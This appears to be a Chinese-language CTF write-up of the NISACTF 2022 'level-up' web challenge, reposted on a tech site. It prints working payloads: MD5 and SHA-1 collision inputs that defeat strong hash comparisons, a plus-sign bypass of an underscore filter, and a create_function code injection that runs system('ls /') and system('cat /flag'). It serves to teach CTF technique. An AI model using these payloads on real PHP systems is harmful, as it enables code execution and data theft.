[NISACTF 2022]level-up

[NISACTF 2022]level-up wp

level 1

robots.txt

通过目录爆破,发现存在 robots.txt 文件(或者说查看源码,源码中有 disallow 提示,说明存在 robots.txt 文件):

dirsearch -u "http://node5.anna.nssctf.cn:28126/"

在这里插入图片描述

直接访问:

在这里插入图片描述

出现提示:level_2_1s_h3re.php

level 2

访问 level_2_1s_h3re.php 文件:

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){$a1 = (string)$_POST['array1'];$a2 = (string)$_POST['array2'];if ($a1 == $a2){die("????");}if (md5($a1) === md5($a2)){echo $level3;}else{die("level 2 failed ...");}}
else{show_source(__FILE__);
}
?> 
MD5 强比较,且不可用数组绕过

POST 传参 payload:

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

在用 hackbar 试验的时候总是不成功,换用 burp 多试几次就好了。

返回结果:

在这里插入图片描述

提示:Level___3.php

level 3

访问 Level___3.php :

 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){$a1 = (string)$_POST['array1'];$a2 = (string)$_POST['array2'];if ($a1 == $a2){die("????");}if (sha1($a1) === sha1($a2)){echo $level4;}else{die("level 3 failed ...");}}
else{show_source(__FILE__);
}
?> 
sha1 强比较,且不可用数组绕过

推荐博客:SHA-1绕过

POST 传参 payload :

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

同样是用 burp 多试几次。

返回结果:

在这里插入图片描述

提示:level_level_4.php

level 4

访问 level_level_4.php :

<?php
//here is last levelerror_reporting(0);include "str.php";show_source(__FILE__);$str = parse_url($_SERVER['REQUEST_URI']);if($str['query'] == ""){echo "give me a parameter";}if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){die("blacklist here");}if($_GET['NI_SA_'] === "txw4ever"){die($level5);}else{die("level 4 failed ...");}?> 
$_SERVER[‘REQUEST_URI’]

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。

REQUEST_URI 是 URI 用来指定要访问的页面。

例如访问地址:http://www.baidu.com/index.html?a=1&b=1 。

那么 $_SERVER['REQUEST_URI'] 获取到的值就是 /index.html?a=1&b=1

此外 $_SERVER['REQUEST_URI'] 在获取 URL 编码字符时不会进行 URL 解码。

parse_url 函数

推荐文章:parse_url - PHP 中文手册

parse_url 函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

比如以下程序:

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

输出结果:

Array
([scheme] => http[host] => hostname[user] => username[pass] => password[path] => /path[query] => arg=value[fragment] => anchor
)
/path
代码分析

因此,在上述程序中 $str['query'] 就是 GET 传参的键值对。该键值对会接受 preg_match 的检查,而传入的参数名为 NI_SA_ ,下划线被过滤,因此需要找个东西替代下划线。

PHP GET 传参特殊字符替换

推荐文章:GET数组键值特殊字符替换

PHP 在接收 GET 传参时,如果遇到部分特殊字符,会将其替换为下划线 _ 。

根据推荐文章中 fuzz 测算的结果,这部分字符为:

非法字符开头或者只有一个非法字符的情况,会被转换成 _ 的有:. 。 非法字符在中间,或者非法字符结尾的情况,会被转换成 _ 的有:.空格+[

payload

这里就选用加号代替下划线:

GET 传参:NI+SA+=txw4ever

返回结果:

在这里插入图片描述

提示:55_5_55.php

level 5

访问 55_5_55.php :

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){show_source(__FILE__);
}
else{$a('',$b);
}
payload

查看根目录下所有文件:

55_5_55.php?a=\create_function&b=return;}system('ls /');/*

查看 flag :

55_5_55.php?a=\create_function&b=return;}system('cat /flag');/*

返回结果:

在这里插入图片描述

下面来解释一下 payload 。

PHP create_function 注入

推荐博客:create_function 代码注入

函数定义:
function create_function(string $args, string $code): false|string {}
  • args

    ​ The function arguments, as a single comma-separated string. 要创建函数的参数。

  • code

    ​ The function code. 要创建函数的内容。

Returns:
string If the given handle is a resource, this function will return a string representing its type. If the type is not identified by this function, the return value will be the string Unknown.

返回类型是字符串,表征函数的字符串。

值得注意的是:本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。

使用案例:
<?php
$a = create_function('', "return \"a\";");
echo $a;

输出结果:

 lambda_1

当我需要使用这个函数时,只需要直接使用:a() 即可。

payload 解释

想必最有疑问的是 b 参数值为什么前面要加个大括号 } ,create_function 函数又没有大括号。

看了那么多文章,让博主来细细讲解一下:

create_function 在创建函数时等同于直接用正常方式声明了一个函数,虽然 create_function 没有大括号,但是声明函数的时候是有的,加个大括号是为了在这里闭合。例如:

create_function('$name','echo $name')

等同于:

function ($name) {echo $name;
}

故而当我传入 payload 时,$a('',$b); 变成了:

\create_function('', return;}system('cat /flag');/*)

等同于:

function () {return;}system('cat /flag');/*
}

大括号是为了闭合前面的大括号,而 /* 是为了注释后面的所有代码。

此外,最前面的 \ 为什么不会报错呢?这涉及到 PHP 的全局空间。

PHP 的全局空间

推荐文章:全局空间- Manual

全局空间 (PHP 5 >= 5.3.0, PHP 7, PHP 8)

如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀 \ 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此。

故而 \create_function 表示该 create_function 函数是全局空间中的函数。

前面加个 \ ,既能绕过正则,又能仍然正常使用此函数,妙哉。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/595189.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker入门教程(详解)

Docker容器化 一 入门 1. 引言 &#xff08;1&#xff09;单机部署 场景&#xff1a; 将多个应用部署一台服务器上。 问题 每个应用软件&#xff0c;都会消耗物理资源&#xff0c;共用计算机资源&#xff0c;彼此之间会形成竞争关系。 &#xff08;2&#xff09;多机部署 …

python django 生鲜商城管理系统

python django 生鲜商城管理系统,包含用户端和管理端 功能&#xff1a; 用户端&#xff1a;商城主页展示&#xff0c;登录&#xff0c;注册&#xff0c;用户中心&#xff0c;购物车&#xff0c;我的订单&#xff0c;购物车结算 管理端&#xff1a;登录&#xff0c;商品&…

SpringBoot: 通过MyBatis访问ClickHouse

一、ClickHouse中建表&#xff0c;添加数据 二、SpringBoot项目添加mybatis、clickhouse、druid相关依赖 <dependency><groupId>com.alibaba</groupId><artifactId>druid</artifactId><version>1.2.6</version></dependency>…

opencv入门到精通——Canny边缘检测

目录 理论 OpenCV中的Canny Edge检测 附加资源 在本章中&#xff0c;我们将学习 Canny边缘检测的概念 OpenCV函数: cv.Canny() 理论 Canny Edge Detection是一种流行的边缘检测算法。它由John F. Canny发明 1.这是一个多阶段算法&#xff0c;我们将经历每个阶段。 2.降…

原生JS调用OpenAI GPT接口并实现ChatGPT逐字输出效果

效果&#xff1a; 猜你感兴趣&#xff1a;springbootvue实现ChatGPT逐字输出打字效果 附源码&#xff0c;也是小弟原创&#xff0c;感谢支持&#xff01; 没废话&#xff0c;上代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><me…

09、docker 安装nacos并配置mysql存储配置信息

docker 安装nacos并配置mysql存储配置信息 1、docker启动nacos的各种方式2、Docker安装nacos3、MySQL中新建nacos的数据库4、挂载数据or配置目录5、运行 1、docker启动nacos的各种方式 内嵌derby数据源 docker run -d \ -e PREFER_HOST_MODEhostname \ -e SPRING_DATASOURCE_…

软件测试技术复习点

1 术语含义&#xff08;故障、错误、失效、测试用例&#xff09; 故障&#xff08;Fault&#xff09;&#xff1a;故障是软件中的静态缺陷&#xff1b; 故障屏蔽&#xff1a;软件中的某个故障可能被其他一个或多个故障屏蔽&#xff1b; 错误&#xff08;Error&#xff09;&…

1 电科院FTU检测标准学习笔记-外观检查

作者简介&#xff1a; 本人从事电力系统多年&#xff0c;岗位包含研发&#xff0c;测试&#xff0c;工程等&#xff0c;具有丰富的经验 在配电自动化验收测试以及电科院测试中&#xff0c;本人全程参与&#xff0c;积累了不少现场的经验 目录 **前言****检测大纲****外观与结构…

LeetCode 2397. 被列覆盖的最多行数,状态压缩优化回溯法

一、题目 1、题目描述 给你一个下标从 0 开始、大小为 m x n 的二进制矩阵 matrix &#xff1b;另给你一个整数 numSelect&#xff0c;表示你必须从 matrix 中选择的 不同 列的数量。 如果一行中所有的 1 都被你选中的列所覆盖&#xff0c;则认为这一行被 覆盖 了。 形式上&am…

【目标检测实验系列】YOLOv5模型改进:融合混合注意力机制CBAM,关注通道和空间特征,助力模型高效涨点!(内含源代码,超详细改进代码流程)

自我介绍&#xff1a;本人硕士期间全程放养&#xff0c;目前成果:一篇北大核心CSCD录用,两篇中科院三区已见刊&#xff0c;一篇中科院四区在投。如何找创新点&#xff0c;如何放养过程厚积薄发&#xff0c;如何写中英论文&#xff0c;找期刊等等。本人后续会以自己实战经验详细…

开源协议简介和选择

软件国产化已经提到日程上了&#xff0c;先来研究一下开源协议。 引言 在追求“自由”的开源软件领域的同时不能忽视程序员的权益。为了激发程序员的创造力&#xff0c;现今世界上有超过60种的开源许可协议被开源促进组织&#xff08;Open Source Initiative&#xff09;所认可…

SpingBoot的项目实战--模拟电商【3.购物车模块】

&#x1f973;&#x1f973;Welcome Huihuis Code World ! !&#x1f973;&#x1f973; 接下来看看由辉辉所写的关于SpringBoot电商项目的相关操作吧 目录 &#x1f973;&#x1f973;Welcome Huihuis Code World ! !&#x1f973;&#x1f973; 一.功能需求 二.代码编写 …

Git(2):Git环境的安装

本教程里的git命令例子都是在Git Bash中演示的&#xff0c;会用到一些基本的linux命令&#xff0c;在此为大家提前列举&#xff1a; ls/ll 查看当前目录cat 查看文件内容touch 创建文件vi vi编辑器&#xff08;使用vi编辑器是为了方便展示效果&#xff0c;学员可以记事本、edi…

使用异构图学习破解推荐系统 - 第 1 部分

Lokesh Sharma – Medium 一、说明 所以&#xff0c;这是独家新闻&#xff1a;异质图拥有一个充满潜力的世界&#xff0c;而常规图却无法做到这一点。传统的同构图很难处理不同关系和边类型的复杂性。现在是大炮的时候了——先进的架构可以解决具有多种边缘和关系类型的数据集的…

Nacos学习思维导图

一、服务注册 参考文档&#xff1a;http://www.bryh.cn/a/118936.html https://blog.csdn.net/Saintmm/article/details/121981184 二、服务续约 参考文档&#xff1a;http://www.bryh.cn/a/118936.html https://blog.csdn.net/Saintmm/article/details/121981184 三、服务…

清风数学建模排版

Overview 链接&#xff1a;https://pan.baidu.com/s/11QBw3zBFNicwQWvWCfW1Gg?pwdepnz 提取码&#xff1a;epnz Latex 范文排版练习 b站刘海洋latex工作室&#xff0c;待还愿 Word基础 Word VBA&#xff0c;待还愿 fnF4&#xff1a;重复上一步操作 ctrlY&#xff1a;恢…

DispatcherServlet请求处理流程

前言 DispatcherServlet 是 Spring MVC 的核心类&#xff0c;它本质是一个 Servlet&#xff0c;负责接管 HTTP 请求并把它分发给对应的处理器处理&#xff0c;最后处理响应结果渲染页面。 DispatcherServlet 本身并不复杂&#xff0c;它提供了一个模板方法doDispatch()来处理请…

进阶学习——Linux系统中重点‘进程’

目录 一、程序和进程的关系 1.程序 2.进程 2.1线程 2.2协程 3.进程与线程的区别 4.总结 4.1延伸 5.进程使用内存的问题 5.1内存泄漏——Memory Leak 5.2内存溢出——Memory Overflow 5.3内存不足——OOM&#xff08;out of memory&#xff09; 5.4进程使用内存出现…

如何正确使用docker搭建靶场--pikachu

在Linux中搭建靶场——pikachu 1.开启docker systemctl start docker 2.查看docker状态 systemctl status docker 3.查看docker存在那些镜像 docker images 4.拉取镜像&#xff0c;这里是以pikachu为例因此需要一个php5的版本 &#xff08;1&#xff09;打开代理&#xff…

【Nodejs】基于Promise异步处理的博客demo代码实现

目录 package.json www.js db.js app.js routes/blog.js controllers/blog.js mysql.js responseModel.js 无开发&#xff0c;不安全。 这个demo项目实现了用Promise异步处理http的GET和POST请求&#xff0c;通过mysql的api实现了博客增删改查功能&#xff0c;但因没有…